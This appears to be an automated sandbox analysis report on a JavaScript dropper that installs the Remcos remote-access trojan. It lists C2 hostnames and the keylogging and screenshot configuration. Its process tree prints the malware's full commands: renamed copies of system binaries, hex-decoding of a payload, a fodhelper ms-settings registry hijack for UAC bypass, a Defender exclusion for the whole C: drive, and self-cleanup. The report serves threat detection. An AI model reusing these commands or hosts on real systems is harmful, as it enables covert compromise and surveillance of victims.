Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/05/2024, 01:33

General

  • Target
    c0cc34b90c94aaa8bc1daeee2a159888dbc84c0a91e554c6ce6bbcc510753d72.js
  • Size 113KB
  • Sample240531-byzqhsbc73
  • SHA256 c0cc34b90c94aaa8bc1daeee2a159888dbc84c0a91e554c6ce6bbcc510753d72
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • UJU YAK MAY 2024

C2
  • myfrontmannysix.ddns.net:4939

  • backupfrontmanny.duckdns.org:4939

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    ioul.exe

  • copy_folder

    uiyk

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • install_path

    %AppData%

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    -SNB049

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 7 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 25 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\c0cc34b90c94aaa8bc1daeee2a159888dbc84c0a91e554c6ce6bbcc510753d72.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3652
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CRDRGD.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2844
      • C:\Windows\System32\extrac32.exe
        C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
        3⤵
          PID:2704
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
          3⤵
          • Executes dropped EXE
          PID:4488
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
          3⤵
          • Executes dropped EXE
          PID:4496
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1932
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            4⤵
              PID:2004
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\CRDRGD.bat" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1012
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\CRDRGD.bat" "C:\\Users\\Public\\Ping_c.mp4" 9
              4⤵
              • Executes dropped EXE
              PID:2212
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4188
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              4⤵
                PID:4932
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2532
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                4⤵
                  PID:4652
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2292
                • C:\Windows\system32\extrac32.exe
                  extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  4⤵
                    PID:760
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:756
                  • C:\Users\Public\xkn.exe
                    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    4⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:1512
                    • C:\Users\Public\alpha.exe
                      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:624
                      • C:\Users\Public\ger.exe
                        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                        6⤵
                        • Executes dropped EXE
                        • Modifies registry class
                        PID:3692
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1796
                  • C:\Users\Public\kn.exe
                    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                    4⤵
                    • Executes dropped EXE
                    PID:4700
                • C:\Windows \System32\per.exe
                  "C:\\Windows \\System32\\per.exe"
                  3⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:824
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:3932
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM SystemSettings.exe
                    4⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:684
                • C:\Users\Public\Libraries\Ping_c.pif
                  C:\Users\Public\Libraries\Ping_c.pif
                  3⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  PID:4616
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Hqbbjemr.PIF
                    4⤵
                      PID:3620
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                    3⤵
                    • Executes dropped EXE
                    PID:4260
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                    3⤵
                    • Executes dropped EXE
                    PID:752
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                    3⤵
                    • Executes dropped EXE
                    PID:3652
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                    3⤵
                    • Executes dropped EXE
                    PID:4420
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                    3⤵
                    • Executes dropped EXE
                    PID:3460
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                    3⤵
                    • Executes dropped EXE
                    PID:1064
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                    3⤵
                    • Executes dropped EXE
                    PID:3384
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                    3⤵
                    • Executes dropped EXE
                    PID:1120
              • C:\Windows\system32\SystemSettingsAdminFlows.exe
                "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                1⤵
                  PID:2284

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      CRDRGD.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\CRDRGD.bat
                      • Size 4.1MB
                      • SHA256 e407045c635af0c1dc3acbfd1f94f19d61eafe7179c36738c1e97df8a02f3452
                      • MD5 SHA1 SHA512 SSDEEP

                      __PSScriptPolicyTest_uo35rz23.r2c.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uo35rz23.r2c.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      Ping_c.pif

                      • Path C:\Users\Public\Libraries\Ping_c.pif
                      • Size 1.4MB
                      • SHA256 7ce56a28ad427af6bce2eacf186475df2c8fcefdd95cb2d5b44fd79938f7b086
                      • MD5 SHA1 SHA512 SSDEEP

                      Ping_c.mp4

                      • Path C:\Users\Public\Ping_c.mp4
                      • Size 2.8MB
                      • SHA256 f7c3f21edd3756c9e6d7968293e41503b0735b6a902acee7145950cf22f893db
                      • MD5 SHA1 SHA512 SSDEEP

                      alpha.exe

                      • Path C:\Users\Public\alpha.exe
                      • Size 283KB
                      • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                      • MD5 SHA1 SHA512 SSDEEP

                      ger.exe

                      • Path C:\Users\Public\ger.exe
                      • Size 75KB
                      • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                      • MD5 SHA1 SHA512 SSDEEP

                      kn.exe

                      • Path C:\Users\Public\kn.exe
                      • Size 1.6MB
                      • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                      • MD5 SHA1 SHA512 SSDEEP

                      xkn.exe

                      • Path C:\Users\Public\xkn.exe
                      • Size 442KB
                      • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                      • MD5 SHA1 SHA512 SSDEEP

                      per.exe

                      • Path C:\Windows \System32\per.exe
                      • Size 48KB
                      • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/1512-50-0x000001E45C350000-0x000001E45C372000-memory.dmp

                      memory/4616-80-0x0000000000400000-0x0000000000569000-memory.dmp

                      memory/4616-86-0x0000000027AC0000-0x0000000028AC0000-memory.dmp

                      memory/4616-87-0x0000000027AC0000-0x0000000028AC0000-memory.dmp

                      memory/4616-91-0x0000000027AC0000-0x0000000028AC0000-memory.dmp

                      memory/4616-92-0x0000000027AC0000-0x0000000028AC0000-memory.dmp

                      memory/4616-95-0x0000000027AC0000-0x0000000028AC0000-memory.dmp

                      memory/4616-96-0x0000000027AC0000-0x0000000028AC0000-memory.dmp

                      memory/4616-99-0x0000000027AC0000-0x0000000028AC0000-memory.dmp